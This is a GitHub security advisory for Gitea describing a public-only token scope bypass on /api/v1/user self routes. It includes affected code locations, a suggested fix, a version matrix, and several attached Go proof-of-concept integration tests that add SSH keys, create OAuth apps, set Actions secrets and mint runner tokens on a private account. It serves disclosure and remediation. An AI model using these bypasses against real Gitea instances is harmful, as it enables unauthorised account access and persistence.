GHSA-WRR5-99H5-GQ57
Vulnerability from github – Published: 2026-06-17 18:09 – Updated: 2026-06-17 18:09Summary
Many authenticated self routes under /api/v1/user/... do not enforce the public-only token restriction. As a result, a token or OAuth grant marked public-only, but otherwise carrying the route-required read/write scope category, can access or modify private account resources through self routes.
The canonical private-user endpoint correctly rejects the same tokens, for example GET /api/v1/users/{privateUser} returns 403. The bypass exists because the generic /api/v1/user route group requires user scope and reqToken(), but does not enforce the token's public-only restriction for most self routes.
This is a systemic token/OAuth scope-boundary bypass, not a single endpoint bug.
This appears related to the previously fixed public-only token issue tracked as CVE-2025-68941 / GHSA-xfq3-qj7j-4565, which affected Gitea < 1.22.3. The behavior described here reproduces on tested main checkout 6a2706626904. A representative SSH-key self-route PoC also reproduces on tested releases through v1.26.1. In other words, this should be treated as an incomplete fix / residual gap in a different route family, not as a duplicate of the older advisory.
Affected Code
The generic /api/v1/user group is mounted with user scope and reqToken():
routers/api/v1/api.go:1008-1128
tokenRequiresScopes() sets ctx.PublicOnly when the token contains public-only, but the public-only restriction is enforced only by routes that also call checkTokenPublicOnly():
routers/api/v1/api.go:241-294implementscheckTokenPublicOnly().routers/api/v1/api.go:299-341setsctx.PublicOnlyfrom the token scope.
Representative affected routes in that group:
/api/v1/user: private self profile and settings./api/v1/user/emails: read, add, and delete account email addresses./api/v1/user/keys: list and add SSH public keys./api/v1/user/applications/oauth2: list and create OAuth2 applications, including returned client secrets./api/v1/user/actions/secrets/{secretname}: create or delete user-level Actions secrets./api/v1/user/actions/variables: list, read, create, update, and delete user-level Actions variables./api/v1/user/actions/runners/...: list, update, delete runners, and mint registration tokens./api/v1/user/actions/runsand/api/v1/user/actions/jobs: list workflow metadata for private repositories./api/v1/user/repos: create private repositories and list private repositories./api/v1/user/subscriptions,/api/v1/user/times,/api/v1/user/stopwatches,/api/v1/user/teams,/api/v1/user/hooks: leak or modify private-account resources.
Correct public-only enforcement for comparison:
routers/api/v1/api.go:970-1008appliescontext.UserAssignmentAPI()andcheckTokenPublicOnly()to canonical/api/v1/users/{username}routes.routers/api/v1/user/user.go:122-125rejects public-only access to private users on/api/v1/users/{username}.routers/api/v1/api.go:1091-1092shows that/api/v1/user/reposrequires the additional repository scope category, but still does not applycheckTokenPublicOnly().
Local PoCs
The following dynamic PoCs were retested on checkout 6a2706626904 and all reproduced successfully. Each PoC writes a temporary integration test, runs it, and removes it afterward.
cd pocs
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_self_user_private_profile_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_ssh_key_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_emails_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_oauth_app_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_repos_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_actions_secret_variable_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_runner_registration_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_runner_manage_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_webhook_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_actions_runs_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_actions_jobs_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_subscriptions_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_times_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_stopwatches_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_teams_private_org_bypass_dynamic_poc.go
Reproduced Impact Examples
Using private fixture user user31, public-only tokens are rejected by GET /api/v1/users/user31, but tokens with the route-required scopes can still reach the self routes below.
Confirmed with public-only,write:user:
- add SSH keys through
/api/v1/user/keys; - add account emails through
/api/v1/user/emails; - create OAuth2 applications and receive
client_secretthrough/api/v1/user/applications/oauth2; - create/delete user-level Actions secrets;
- create/read/list/update/delete user-level Actions variables;
- mint user-level runner registration tokens;
- manage user-level runners;
- create user webhooks.
Confirmed with public-only,read:user:
- read private self profile/settings and account email surfaces;
- list OAuth2 applications and user webhooks;
- list private repository workflow runs/jobs exposed through self Actions routes;
- list private subscriptions, tracked times, stopwatches, and team memberships.
Confirmed with public-only plus the route-required repository category:
- create private repositories through
POST /api/v1/user/reposwithpublic-only,write:user,write:repository; - list those private repositories through
GET /api/v1/user/reposwithpublic-only,read:user,read:repository, while the canonical private repository endpoint remains forbidden.
Impact
The public-only token flag is intended to limit a token or OAuth grant to public resources. These routes violate that boundary for private accounts.
Practical abuse scenarios include:
- a third-party app or leaked token with the route-required write scope, but restricted to public resources, adding SSH credentials or OAuth applications to a private account;
- a public-resource-restricted token with the route-required write scope modifying Actions secrets/variables or registering/managing runners;
- a token limited to public resources creating and enumerating private repositories;
- a supposedly public-only integration learning private repository, workflow, team, timing, subscription, webhook, and email metadata.
Suggested Fix
Apply public-only enforcement consistently to self routes under /api/v1/user.
At minimum:
- for self routes, treat
ctx.Doeras the target user/resource owner when enforcingpublic-only; mechanically addingcheckTokenPublicOnly()is not sufficient unlessctx.ContextUseris set toctx.Doeror the check explicitly handles self routes; - reject
ctx.PublicOnlyon credential, identity, OAuth application, repository creation, webhook, Actions, runner, and email-management self-route mutations; - filter list routes so public-only tokens cannot return private repositories, private organization/team metadata, private workflow runs/jobs, private tracked time, private stopwatches, or hidden subscriptions;
- add regression coverage that compares each affected
/api/v1/user/...route against the canonical private-user or private-repository endpoint.
Non-public-only tokens should preserve current behavior.
Attachment: api_public_only_user_ssh_key_bypass_dynamic_poc.go
package main
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
)
const testSource = `// PoC test for private security report.
// SPDX-License-Identifier: MIT
package integration
import (
"net/http"
"testing"
asymkey_model "code.gitea.io/gitea/models/asymkey"
auth_model "code.gitea.io/gitea/models/auth"
"code.gitea.io/gitea/models/unittest"
user_model "code.gitea.io/gitea/models/user"
api "code.gitea.io/gitea/modules/structs"
"code.gitea.io/gitea/tests"
"github.com/stretchr/testify/require"
)
func TestAPIPublicOnlyUserSSHKeyBypass(t *testing.T) {
defer tests.PrepareTestEnv(t)()
privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user31"})
require.True(t, privateUser.Visibility.IsPrivate())
session := loginUser(t, privateUser.Name)
publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser)
MakeRequest(t, NewRequest(t, "GET", "/api/v1/users/user31").AddTokenAuth(publicOnlyWriteUserToken), http.StatusForbidden)
req := NewRequestWithJSON(t, "POST", "/api/v1/user/keys", api.CreateKeyOption{
Title: "public-only-private-key-bypass",
Key: "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4cn+iXnA4KvcQYSV88vGn0Yi91vG47t1P7okprVmhNTkipNRIHWr6WdCO4VDr/cvsRkuVJAsLO2enwjGWWueOO6BodiBgyAOZ/5t5nJNMCNuLGT5UIo/RI1b0WRQwxEZTRjt6mFNw6lH14wRd8ulsr9toSWBPMOGWoYs1PDeDL0JuTjL+tr1SZi/EyxCngpYszKdXllJEHyI79KQgeD0Vt3pTrkbNVTOEcCNqZePSVmUH8X8Vhugz3bnE0/iE9Pb5fkWO9c4AnM1FgI/8Bvp27Fw2ShryIXuR6kKvUqhVMTuOSDHwu6A8jLE5Owt3GAYugDpDYuwTVNGrHLXKpPzrGGPE/jPmaLCMZcsdkec95dYeU3zKODEm8UQZFhmJmDeWVJ36nGrGZHL4J5aTTaeFUJmmXDaJYiJ+K2/ioKgXqnXvltu0A9R8/LGy4nrTJRr4JMLuJFoUXvGm1gXQ70w2LSpk6yl71RNC0hCtsBe8BP8IhYCM0EP5jh7eCMQZNvM= nocomment",
}).AddTokenAuth(publicOnlyWriteUserToken)
resp := MakeRequest(t, req, http.StatusCreated)
key := DecodeJSON(t, resp, &api.PublicKey{})
require.Equal(t, "public-only-private-key-bypass", key.Title)
unittest.AssertExistsAndLoadBean(t, &asymkey_model.PublicKey{
ID: key.ID,
OwnerID: privateUser.ID,
Name: "public-only-private-key-bypass",
})
req = NewRequest(t, "GET", "/api/v1/user/keys").AddTokenAuth(publicOnlyWriteUserToken)
resp = MakeRequest(t, req, http.StatusOK)
keys := DecodeJSON(t, resp, []api.PublicKey{})
found := false
for _, k := range keys {
if k.ID == key.ID {
found = true
break
}
}
require.True(t, found)
}
`
func repoPath() string {
candidates := []string{}
if repo := os.Getenv("GITEA_REPO"); repo != "" {
candidates = append(candidates, repo)
}
candidates = append(candidates, "../repo", "../../gitea/repo", "../../gitea")
for _, candidate := range candidates {
if _, err := os.Stat(filepath.Join(candidate, "routers/api/v1/user/key.go")); err == nil {
return filepath.Clean(candidate)
}
}
fmt.Fprintf(os.Stderr, "could not locate Gitea checkout; tried: %s\n", strings.Join(candidates, ", "))
os.Exit(2)
return ""
}
func main() {
repo := repoPath()
testPath := filepath.Join(repo, "tests/integration/api_public_only_user_ssh_key_bypass_dynamic_poc_test.go")
if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {
fmt.Fprintf(os.Stderr, "write temp test: %v\n", err)
os.Exit(2)
}
defer func() {
if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) {
fmt.Fprintf(os.Stderr, "warning: remove temp test: %v\n", err)
}
}()
cmd := exec.Command("go", "test", "-timeout", "40m", "-run", "TestAPIPublicOnlyUserSSHKeyBypass", "code.gitea.io/gitea/tests/integration")
cmd.Dir = repo
cmd.Env = append(os.Environ(), "SNAP=1", "SNAP_NAME=gitea-test", "GOTOOLCHAIN=auto")
out, err := cmd.CombinedOutput()
fmt.Printf("source=%s\n", repo)
fmt.Print(string(out))
if err != nil {
fmt.Fprintf(os.Stderr, "not reproduced: go test failed: %v\n", err)
os.Exit(1)
}
fmt.Println("reproduced: public-only,write:user is rejected on the canonical private /users/{username} endpoint")
fmt.Println("reproduced: the same public-only token with the route-required write:user scope can add an SSH public key to the private account through /api/v1/user/keys")
fmt.Println("reproduced: the same token can list that newly added key through /api/v1/user/keys")
fmt.Println("condition=private user issues a public-only,write:user token")
fmt.Println("cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N")
}
Attachment: api_public_only_user_oauth_app_bypass_dynamic_poc.go
package main
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
)
const testSource = `// PoC test for private security report.
// SPDX-License-Identifier: MIT
package integration
import (
"net/http"
"testing"
auth_model "code.gitea.io/gitea/models/auth"
"code.gitea.io/gitea/models/unittest"
user_model "code.gitea.io/gitea/models/user"
api "code.gitea.io/gitea/modules/structs"
"code.gitea.io/gitea/tests"
"github.com/stretchr/testify/require"
)
func TestAPIPublicOnlyUserOAuthAppBypass(t *testing.T) {
defer tests.PrepareTestEnv(t)()
privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user31"})
require.True(t, privateUser.Visibility.IsPrivate())
session := loginUser(t, privateUser.Name)
publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser)
publicOnlyReadUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeReadUser)
MakeRequest(t, NewRequest(t, "GET", "/api/v1/users/user31").AddTokenAuth(publicOnlyReadUserToken), http.StatusForbidden)
req := NewRequestWithJSON(t, "POST", "/api/v1/user/applications/oauth2", &api.CreateOAuth2ApplicationOptions{
Name: "public-only-private-oauth-app",
RedirectURIs: []string{"https://example.com/callback"},
ConfidentialClient: true,
}).AddTokenAuth(publicOnlyWriteUserToken)
resp := MakeRequest(t, req, http.StatusCreated)
app := DecodeJSON(t, resp, &api.OAuth2Application{})
require.Equal(t, "public-only-private-oauth-app", app.Name)
require.NotEmpty(t, app.ClientID)
require.NotEmpty(t, app.ClientSecret)
req = NewRequest(t, "GET", "/api/v1/user/applications/oauth2").AddTokenAuth(publicOnlyReadUserToken)
resp = MakeRequest(t, req, http.StatusOK)
apps := DecodeJSON(t, resp, api.OAuth2ApplicationList{})
found := false
for _, a := range apps {
if a.ID == app.ID && a.Name == app.Name {
found = true
break
}
}
require.True(t, found)
}
`
func repoPath() string {
candidates := []string{}
if repo := os.Getenv("GITEA_REPO"); repo != "" {
candidates = append(candidates, repo)
}
candidates = append(candidates, "../repo", "../../gitea/repo", "../../gitea")
for _, candidate := range candidates {
if _, err := os.Stat(filepath.Join(candidate, "routers/api/v1/user/app.go")); err == nil {
return filepath.Clean(candidate)
}
}
fmt.Fprintf(os.Stderr, "could not locate Gitea checkout; tried: %s\n", strings.Join(candidates, ", "))
os.Exit(2)
return ""
}
func main() {
repo := repoPath()
testPath := filepath.Join(repo, "tests/integration/api_public_only_user_oauth_app_bypass_dynamic_poc_test.go")
if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {
fmt.Fprintf(os.Stderr, "write temp test: %v\n", err)
os.Exit(2)
}
defer func() {
if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) {
fmt.Fprintf(os.Stderr, "warning: remove temp test: %v\n", err)
}
}()
cmd := exec.Command("go", "test", "-timeout", "40m", "-run", "TestAPIPublicOnlyUserOAuthAppBypass", "code.gitea.io/gitea/tests/integration")
cmd.Dir = repo
cmd.Env = append(os.Environ(), "SNAP=1", "SNAP_NAME=gitea-test", "GOTOOLCHAIN=auto")
out, err := cmd.CombinedOutput()
fmt.Printf("source=%s\n", repo)
fmt.Print(string(out))
if err != nil {
fmt.Fprintf(os.Stderr, "not reproduced: go test failed: %v\n", err)
os.Exit(1)
}
fmt.Println("reproduced: public-only user-scoped tokens are rejected on the canonical private /users/{username} endpoint")
fmt.Println("reproduced: public-only,write:user can create an OAuth2 application for the private account and receives a client secret")
fmt.Println("reproduced: public-only,read:user can list that OAuth2 application through /api/v1/user/applications/oauth2")
fmt.Println("condition=private user issues public-only tokens with route-required user scopes")
fmt.Println("cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N")
}
Attachment: api_public_only_user_repos_private_repo_bypass_dynamic_poc.go
package main
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
)
const testSource = `// PoC test for private security report.
// SPDX-License-Identifier: MIT
package integration
import (
"net/http"
"testing"
auth_model "code.gitea.io/gitea/models/auth"
"code.gitea.io/gitea/models/unittest"
user_model "code.gitea.io/gitea/models/user"
api "code.gitea.io/gitea/modules/structs"
"code.gitea.io/gitea/tests"
"github.com/stretchr/testify/require"
)
func TestAPIPublicOnlyUserReposBypass(t *testing.T) {
defer tests.PrepareTestEnv(t)()
privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user31"})
require.True(t, privateUser.Visibility.IsPrivate())
session := loginUser(t, privateUser.Name)
publicOnlyReadRepoToken := getTokenForLoggedInUser(t, session,
auth_model.AccessTokenScopePublicOnly,
auth_model.AccessTokenScopeReadUser,
auth_model.AccessTokenScopeReadRepository,
)
publicOnlyWriteRepoToken := getTokenForLoggedInUser(t, session,
auth_model.AccessTokenScopePublicOnly,
auth_model.AccessTokenScopeWriteUser,
auth_model.AccessTokenScopeWriteRepository,
)
req := NewRequestWithJSON(t, "POST", "/api/v1/user/repos", &api.CreateRepoOption{
Name: "public-only-private-repo",
Private: true,
}).AddTokenAuth(publicOnlyWriteRepoToken)
resp := MakeRequest(t, req, http.StatusCreated)
created := DecodeJSON(t, resp, &api.Repository{})
require.Equal(t, "user31/public-only-private-repo", created.FullName)
require.True(t, created.Private)
MakeRequest(t, NewRequest(t, "GET", "/api/v1/repos/user31/public-only-private-repo").AddTokenAuth(publicOnlyReadRepoToken), http.StatusForbidden)
resp = MakeRequest(t, NewRequest(t, "GET", "/api/v1/user/repos").AddTokenAuth(publicOnlyReadRepoToken), http.StatusOK)
repos := DecodeJSON(t, resp, []api.Repository{})
found := false
for _, repo := range repos {
if repo.FullName == "user31/public-only-private-repo" {
found = true
require.True(t, repo.Private)
}
}
require.True(t, found)
}
`
func repoPath() string {
candidates := []string{}
if repo := os.Getenv("GITEA_REPO"); repo != "" {
candidates = append(candidates, repo)
}
candidates = append(candidates, "../repo", "../../gitea/repo", "../../gitea")
for _, candidate := range candidates {
if _, err := os.Stat(filepath.Join(candidate, "routers/api/v1/user/repo.go")); err == nil {
return filepath.Clean(candidate)
}
}
fmt.Fprintf(os.Stderr, "could not locate Gitea checkout; tried: %s\n", strings.Join(candidates, ", "))
os.Exit(2)
return ""
}
func main() {
repo := repoPath()
testPath := filepath.Join(repo, "tests/integration/api_public_only_user_repos_private_repo_bypass_dynamic_poc_test.go")
if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {
fmt.Fprintf(os.Stderr, "write temp test: %v\n", err)
os.Exit(2)
}
defer func() {
if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) {
fmt.Fprintf(os.Stderr, "warning: remove temp test: %v\n", err)
}
}()
cmd := exec.Command("go", "test", "-timeout", "40m", "-run", "TestAPIPublicOnlyUserReposBypass", "code.gitea.io/gitea/tests/integration")
cmd.Dir = repo
cmd.Env = append(os.Environ(), "SNAP=1", "SNAP_NAME=gitea-test", "GOTOOLCHAIN=auto")
out, err := cmd.CombinedOutput()
fmt.Printf("source=%s\n", repo)
fmt.Print(string(out))
if err != nil {
fmt.Fprintf(os.Stderr, "not reproduced: go test failed: %v\n", err)
os.Exit(1)
}
fmt.Println("reproduced: public-only,write:user,write:repository can create a private repository through /api/v1/user/repos")
fmt.Println("reproduced: public-only,read:user,read:repository is still forbidden on the canonical repository endpoint for that repo")
fmt.Println("reproduced: the same public-only token with the route-required read:user,read:repository scope can list the private repository through /api/v1/user/repos")
fmt.Println("condition=private user issues public-only tokens with route-required user and repository scopes")
fmt.Println("cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N")
}
Attachment: api_public_only_user_actions_secret_variable_bypass_dynamic_poc.go
package main
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
)
const testSource = `// PoC test for private security report.
// SPDX-License-Identifier: MIT
package integration
import (
"net/http"
"testing"
auth_model "code.gitea.io/gitea/models/auth"
"code.gitea.io/gitea/models/unittest"
user_model "code.gitea.io/gitea/models/user"
api "code.gitea.io/gitea/modules/structs"
"code.gitea.io/gitea/tests"
"github.com/stretchr/testify/require"
)
func TestAPIPublicOnlyUserActionsSecretVariableBypass(t *testing.T) {
defer tests.PrepareTestEnv(t)()
privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user31"})
require.True(t, privateUser.Visibility.IsPrivate())
session := loginUser(t, privateUser.Name)
publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser)
MakeRequest(t, NewRequest(t, "GET", "/api/v1/users/user31").AddTokenAuth(publicOnlyWriteUserToken), http.StatusForbidden)
req := NewRequestWithJSON(t, "PUT", "/api/v1/user/actions/secrets/PRIVATE_SECRET", api.CreateOrUpdateSecretOption{
Data: "top-secret",
}).AddTokenAuth(publicOnlyWriteUserToken)
MakeRequest(t, req, http.StatusCreated)
req = NewRequestWithJSON(t, "POST", "/api/v1/user/actions/variables/PRIVATE_VAR", api.CreateVariableOption{
Value: "private-value",
Description: "scoped through public-only token",
}).AddTokenAuth(publicOnlyWriteUserToken)
MakeRequest(t, req, http.StatusCreated)
req = NewRequest(t, "GET", "/api/v1/user/actions/variables/PRIVATE_VAR").AddTokenAuth(publicOnlyWriteUserToken)
resp := MakeRequest(t, req, http.StatusOK)
variable := DecodeJSON(t, resp, &api.ActionVariable{})
require.Equal(t, "PRIVATE_VAR", variable.Name)
require.Equal(t, "private-value", variable.Data)
req = NewRequest(t, "GET", "/api/v1/user/actions/variables").AddTokenAuth(publicOnlyWriteUserToken)
resp = MakeRequest(t, req, http.StatusOK)
variables := DecodeJSON(t, resp, []*api.ActionVariable{})
found := false
for _, v := range variables {
if v.Name == "PRIVATE_VAR" && v.Data == "private-value" {
found = true
break
}
}
require.True(t, found)
}
`
func repoPath() string {
candidates := []string{}
if repo := os.Getenv("GITEA_REPO"); repo != "" {
candidates = append(candidates, repo)
}
candidates = append(candidates, "../repo", "../../gitea/repo", "../../gitea")
for _, candidate := range candidates {
if _, err := os.Stat(filepath.Join(candidate, "routers/api/v1/user/action.go")); err == nil {
return filepath.Clean(candidate)
}
}
fmt.Fprintf(os.Stderr, "could not locate Gitea checkout; tried: %s\n", strings.Join(candidates, ", "))
os.Exit(2)
return ""
}
func main() {
repo := repoPath()
testPath := filepath.Join(repo, "tests/integration/api_public_only_user_actions_secret_variable_bypass_dynamic_poc_test.go")
if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {
fmt.Fprintf(os.Stderr, "write temp test: %v\n", err)
os.Exit(2)
}
defer func() {
if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) {
fmt.Fprintf(os.Stderr, "warning: remove temp test: %v\n", err)
}
}()
cmd := exec.Command("go", "test", "-timeout", "40m", "-run", "TestAPIPublicOnlyUserActionsSecretVariableBypass", "code.gitea.io/gitea/tests/integration")
cmd.Dir = repo
cmd.Env = append(os.Environ(), "SNAP=1", "SNAP_NAME=gitea-test", "GOTOOLCHAIN=auto")
out, err := cmd.CombinedOutput()
fmt.Printf("source=%s\n", repo)
fmt.Print(string(out))
if err != nil {
fmt.Fprintf(os.Stderr, "not reproduced: go test failed: %v\n", err)
os.Exit(1)
}
fmt.Println("reproduced: public-only,write:user is rejected on the canonical private /users/{username} endpoint")
fmt.Println("reproduced: the same public-only token with the route-required write:user scope can create a user actions secret for the private account")
fmt.Println("reproduced: the same public-only token with the route-required write:user scope can create, read, and list user actions variables")
fmt.Println("condition=private user issues a public-only,write:user token")
fmt.Println("cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N")
}
Attachment: api_public_only_user_runner_registration_bypass_dynamic_poc.go
package main
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
)
const testSource = `// PoC test for private security report.
// SPDX-License-Identifier: MIT
package integration
import (
"net/http"
"testing"
auth_model "code.gitea.io/gitea/models/auth"
"code.gitea.io/gitea/models/unittest"
user_model "code.gitea.io/gitea/models/user"
"code.gitea.io/gitea/tests"
"github.com/stretchr/testify/require"
)
func TestAPIPublicOnlyUserRunnerRegistrationBypass(t *testing.T) {
defer tests.PrepareTestEnv(t)()
privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user31"})
require.True(t, privateUser.Visibility.IsPrivate())
session := loginUser(t, privateUser.Name)
publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser)
MakeRequest(t, NewRequest(t, "GET", "/api/v1/users/user31").AddTokenAuth(publicOnlyWriteUserToken), http.StatusForbidden)
resp := MakeRequest(t, NewRequest(t, "POST", "/api/v1/user/actions/runners/registration-token").AddTokenAuth(publicOnlyWriteUserToken), http.StatusOK)
registrationToken := DecodeJSON(t, resp, &map[string]string{})
require.NotEmpty(t, (*registrationToken)["token"])
}
`
func repoPath() string {
candidates := []string{}
if repo := os.Getenv("GITEA_REPO"); repo != "" {
candidates = append(candidates, repo)
}
candidates = append(candidates, "../repo", "../../gitea/repo", "../../gitea")
for _, candidate := range candidates {
if _, err := os.Stat(filepath.Join(candidate, "routers/api/v1/user/runners.go")); err == nil {
return filepath.Clean(candidate)
}
}
fmt.Fprintf(os.Stderr, "could not locate Gitea checkout; tried: %s\n", strings.Join(candidates, ", "))
os.Exit(2)
return ""
}
func main() {
repo := repoPath()
testPath := filepath.Join(repo, "tests/integration/api_public_only_user_runner_registration_bypass_dynamic_poc_test.go")
if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {
fmt.Fprintf(os.Stderr, "write temp test: %v\n", err)
os.Exit(2)
}
defer func() {
if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) {
fmt.Fprintf(os.Stderr, "warning: remove temp test: %v\n", err)
}
}()
cmd := exec.Command("go", "test", "-timeout", "40m", "-run", "TestAPIPublicOnlyUserRunnerRegistrationBypass", "code.gitea.io/gitea/tests/integration")
cmd.Dir = repo
cmd.Env = append(os.Environ(), "SNAP=1", "SNAP_NAME=gitea-test", "GOTOOLCHAIN=auto")
out, err := cmd.CombinedOutput()
fmt.Printf("source=%s\n", repo)
fmt.Print(string(out))
if err != nil {
fmt.Fprintf(os.Stderr, "not reproduced: go test failed: %v\n", err)
os.Exit(1)
}
fmt.Println("reproduced: public-only,write:user is rejected on the canonical private /users/{username} endpoint")
fmt.Println("reproduced: the same public-only token with the route-required write:user scope can mint a user-level actions runner registration token")
fmt.Println("condition=private user issues a public-only,write:user token")
fmt.Println("cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N")
}
Version validation
Validation date: 2026-05-13
The SSH-key write PoC was used as the representative dynamic test for the systemic /api/v1/user self-route public-only bypass.
| Version | Commit | Result |
|---|---|---|
| main | 6a2706626904 |
reproduced dynamically |
| v1.26.1 | afdbd9b7c5 |
reproduced dynamically |
| v1.25.5 | f913d90ab6 |
reproduced dynamically |
| v1.24.7 | 99053ce4fa |
reproduced dynamically |
| v1.23.8 | cccd54999a |
reproduced dynamically |
| v1.22.6 | 8eefa1f6de |
reproduced dynamically with Go 1.22.12 test toolchain |
The representative version-matrix PoC validates the same root cause across tested releases for the SSH-key self-route write surface. The additional lead/supporting PoCs above were retested on the main checkout listed in the Local PoCs section.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.26.1"
},
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "1.22.3"
},
{
"fixed": "1.26.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-24791"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-17T18:09:41Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nMany authenticated self routes under `/api/v1/user/...` do not enforce the `public-only` token restriction. As a result, a token or OAuth grant marked `public-only`, but otherwise carrying the route-required read/write scope category, can access or modify private account resources through self routes.\n\nThe canonical private-user endpoint correctly rejects the same tokens, for example `GET /api/v1/users/{privateUser}` returns `403`. The bypass exists because the generic `/api/v1/user` route group requires user scope and `reqToken()`, but does not enforce the token\u0027s public-only restriction for most self routes.\n\nThis is a systemic token/OAuth scope-boundary bypass, not a single endpoint bug.\n\nThis appears related to the previously fixed public-only token issue tracked as [CVE-2025-68941 / GHSA-xfq3-qj7j-4565](https://github.com/advisories/GHSA-xfq3-qj7j-4565), which affected Gitea `\u003c 1.22.3`. The behavior described here reproduces on tested main checkout `6a2706626904`. A representative SSH-key self-route PoC also reproduces on tested releases through v1.26.1. In other words, this should be treated as an incomplete fix / residual gap in a different route family, not as a duplicate of the older advisory.\n\n## Affected Code\n\nThe generic `/api/v1/user` group is mounted with user scope and `reqToken()`:\n\n- `routers/api/v1/api.go:1008-1128`\n\n`tokenRequiresScopes()` sets `ctx.PublicOnly` when the token contains `public-only`, but the public-only restriction is enforced only by routes that also call `checkTokenPublicOnly()`:\n\n- `routers/api/v1/api.go:241-294` implements `checkTokenPublicOnly()`.\n- `routers/api/v1/api.go:299-341` sets `ctx.PublicOnly` from the token scope.\n\nRepresentative affected routes in that group:\n\n- `/api/v1/user`: private self profile and settings.\n- `/api/v1/user/emails`: read, add, and delete account email addresses.\n- `/api/v1/user/keys`: list and add SSH public keys.\n- `/api/v1/user/applications/oauth2`: list and create OAuth2 applications, including returned client secrets.\n- `/api/v1/user/actions/secrets/{secretname}`: create or delete user-level Actions secrets.\n- `/api/v1/user/actions/variables`: list, read, create, update, and delete user-level Actions variables.\n- `/api/v1/user/actions/runners/...`: list, update, delete runners, and mint registration tokens.\n- `/api/v1/user/actions/runs` and `/api/v1/user/actions/jobs`: list workflow metadata for private repositories.\n- `/api/v1/user/repos`: create private repositories and list private repositories.\n- `/api/v1/user/subscriptions`, `/api/v1/user/times`, `/api/v1/user/stopwatches`, `/api/v1/user/teams`, `/api/v1/user/hooks`: leak or modify private-account resources.\n\nCorrect public-only enforcement for comparison:\n\n- `routers/api/v1/api.go:970-1008` applies `context.UserAssignmentAPI()` and `checkTokenPublicOnly()` to canonical `/api/v1/users/{username}` routes.\n- `routers/api/v1/user/user.go:122-125` rejects public-only access to private users on `/api/v1/users/{username}`.\n- `routers/api/v1/api.go:1091-1092` shows that `/api/v1/user/repos` requires the additional repository scope category, but still does not apply `checkTokenPublicOnly()`.\n\n## Local PoCs\n\nThe following dynamic PoCs were retested on checkout 